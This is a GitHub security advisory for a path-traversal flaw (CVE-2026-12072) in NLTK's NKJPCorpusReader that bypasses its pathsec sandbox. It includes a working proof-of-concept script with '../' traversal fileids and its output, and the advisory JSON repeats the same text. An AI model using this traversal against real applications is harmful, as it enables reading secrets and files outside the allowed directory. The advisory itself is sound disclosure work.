GHSA-6HM5-JGCP-P838
Vulnerability from github – Published: 2026-07-31 16:50 – Updated: 2026-07-31 16:50Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
### Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
### PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
```python
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.version)
# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")
# The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, a, k: (opened.append(str(f)), real(f, a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled fileids; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```
Output (unmodified):
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.
### Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12072"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:50:55Z",
"nvd_published_at": "2026-06-15T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n influence the `fileids` argument of its public read methods (`header`, `raw`,\n `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n reader builds the file path with no containment check and opens it with the\n builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n deployments. `header()` returns the parsed content of the out-of-root file to\n the caller (arbitrary file read).\n\n ### Details\n `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n `nltk.pathsec.validate_path(...)`.\n\n `NKJPCorpusReader` never uses that protected path. In\n `nltk/corpus/reader/nkjp.py`:\n\n - `add_root()` builds the path by **plain string concatenation** with no\n normalization or containment check:\n ```python\n def add_root(self, fileid): # lines 96-102\n if self.root in fileid:\n return fileid # attacker-controlled value returned unchanged\n return self.root + fileid # plain concat, \u0027..\u0027 not stripped\n ```\n - The header view appends a fixed basename and passes the string straight into\n the corpus view (which opens it with the builtin `open()`):\n ```python\n class NKJPCorpus_Header_View(XMLCorpusView): # line 181\n def __init__(self, filename, **kwargs):\n XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec) # line 189\n ```\n - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n builtin `open()`:\n ```python\n class XML_Tool: # line 243\n def __init__(self, root, filename):\n self.read_file = os.path.join(root, filename) # line 251\n def build_preprocessed_file(self):\n fr = open(self.read_file) # line 256 \u2014 pathsec never consulted\n ```\n\n Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n ### PoC\n Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n ```\n pip install \"nltk==3.9.4\"\n python3 poc.py\n ```\n\n `poc.py`:\n ```python\n import builtins, os, shutil, tempfile, warnings\n warnings.simplefilter(\"ignore\")\n import nltk, nltk.pathsec as pathsec\n from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n print(\"nltk\", nltk.__version__)\n\n # A legitimate, empty NKJP corpus root (what a real app has).\n root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n # The attacker\u0027s target: a file OUTSIDE the corpus root.\n secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n pathsec.ENFORCE = True\n print(\"ENFORCE =\", pathsec.ENFORCE)\n\n # Prove the out-of-root read and that pathsec is never consulted.\n opened = []; real = builtins.open\n builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n try:\n result = reader.header(fileids=[evil])\n finally:\n builtins.open = real\n\n print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n print(\"disclosed content :\", result[0][\"title\"])\n shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n ```\n\n Output (unmodified):\n ```\n nltk 3.9.4\n ENFORCE = True\n opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n disclosed content : SECRET-API-KEY=sk-live-DEADBEEF\n ```\n With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n ### Impact\n This is a path traversal (CWE-22) leading to arbitrary file read. Any\n application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n `fileids` (e.g. letting a user choose which corpus document to read) is\n affected; the attacker can escape the corpus root and read files elsewhere on\n the host, defeating the `ENFORCE=True` sandbox.\n\n Honest scoping: `header()` discloses the content of out-of-root files named\n `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n `NamedTemporaryFile`) suppresses their return value on current Python, so for\n those modes the impact is arbitrary file open/read. The attacker chooses the\n directory freely; a fixed basename is appended per mode. The same\n \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
"id": "GHSA-6hm5-jgcp-p838",
"modified": "2026-07-31T16:50:55Z",
"published": "2026-07-31T16:50:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.